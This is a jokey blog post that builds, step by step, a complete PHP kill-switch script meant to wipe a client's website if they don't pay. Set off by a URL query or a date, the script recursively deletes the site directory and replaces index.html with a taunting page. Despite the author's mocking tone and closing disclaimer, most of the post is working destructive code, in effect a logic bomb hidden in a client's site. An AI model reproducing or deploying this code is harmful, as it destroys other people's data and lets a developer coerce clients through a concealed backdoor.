How To Be An Absolute PHP Twonk



Something You Should Never Do... Ever!

Someone online was asking for a "delete script" which removes all the files for a website if the client doesn't pay. Clearly this is a terrible idea and a very stupid thing to do. Oh well...

Onwards...

We all know how to recursively delete everything in a directory apart from itself yes?

function delete_tree($dirname)
{
    if (is_dir($dirname)) {
        $dir_handle = opendir($dirname);
    }
    if (!$dir_handle) {
        return false;
    }
    while ($file = readdir($dir_handle)) {
        if ($file != "." && $file != "..") {
            if (!is_dir("$dirname/$file")) {
                unlink("$dirname/$file");
            } else {
                delete_tree("$dirname/$file");
            }
        }
    }
    closedir($dir_handle);
    if ($dirname != "./") {
        rmdir($dirname);
    }
    return true;
}

And we know how to write html data to a file right?

$ouch_index = fopen("index.html", "w");
$ouch_html = "<h1>HERE BE DRAGONS</h1>";
fwrite($ouch_index, $ouch_html);
fclose($ouch_index);

I'm pretty sure we know how to check for and match query strings. That's easy!

$ouch_query = "ouch";
$ouch_query_value = "ouch";

if (isset($_GET[$ouch_param]) && $_GET[$ouch_param] == $ouch_param_value) {
    echo "Gotcha!";
}

Checking if a date is today or in the past This is really hard stuff. Probably need a data science degree or similar!

$ouch_date = "11/09/2019";

if (date("d/m/Y") >= $ouch_date) {
    echo "Gotcha!";
}

I suppose we'd best throw all of these together somehow and create a working script. And we want options... Let's have at at!

function ouch($ouch_switch)
{
    $ouch_dir = "./";
    $ouch_query = "ouch";
    $ouch_query_value = "ouch";
    $ouch_date = "11/09/2019";
    $ouch_message = "ALL YOUR BASE ARE BELONG TO NOBODY!";
    $ouch_html = "<h1>HERE BE DRAGONS</h1>";

    function delete_tree($dirname)
    {
        if (is_dir($dirname)) {
            $dir_handle = opendir($dirname);
        }
        if (!$dir_handle) {
            return false;
        }
        while ($file = readdir($dir_handle)) {
            if ($file != "." && $file != "..") {
                if (!is_dir("$dirname/$file")) {
                    unlink("$dirname/$file");
                } else {
                    delete_tree("$dirname/$file");
                }
            }
        }
        closedir($dir_handle);
        if ($dirname != "./") {
            rmdir($dirname);
        }
        return true;
    }

    function ouch_baby($ouch_html, $ouch_dir)
    {
        delete_tree($ouch_dir);
        $ouch_index = fopen("index.html", "w");
        fwrite($ouch_index, $ouch_html);
        fclose($ouch_index);
        echo "<script>setTimeout(function(){location.reload();},3000);</script>";
    }
    if ($ouch_switch == 1) {
        if (isset($_GET[$ouch_query]) && $_GET[$ouch_query] == $ouch_query_value) {
            ouch_baby($ouch_html, $ouch_dir);
        }
    } elseif ($ouch_switch == 2) {
        if (date("d/m/Y") >= $ouch_date) {
            ouch_baby($ouch_html, $ouch_dir);
        }
    }
}

ouch(1);

Right then... ouch(1); will use a url query to activate whilst ouch(2); will be date activated.

You could give it a nice html page when it's finished destroying everything by replacing $ouch_html with...

$ouch_html = "<!doctype html><html><head><meta charset='utf-8'><title>$ouch_message</title><style>body{background:#000;}button{position:fixed;top:50%;left:50%;width:300px;height:50px;margin-top:-25px;margin-left:-150px;z-index:9999;cursor:pointer;color:#fff;background:#000;border:0;box-shadow: 0 2px 8px rgba(255,255,255,.4), 0 0 0 1px rgba(255,255,255,.4);}</style></head><body><button onClick='window.location.reload();'>$ouch_message</button></body></html>";
[DISCLAIMER]

Please don't use this script/function. It's just an experiment (and a bad one at that). If you do happen to be stupid enough to use it, rabid dogs from hell will follow you for the rest of time. I will not be held responsible for any of your actions (or rabid dogs). You have been warned!

Thanks for reading. x

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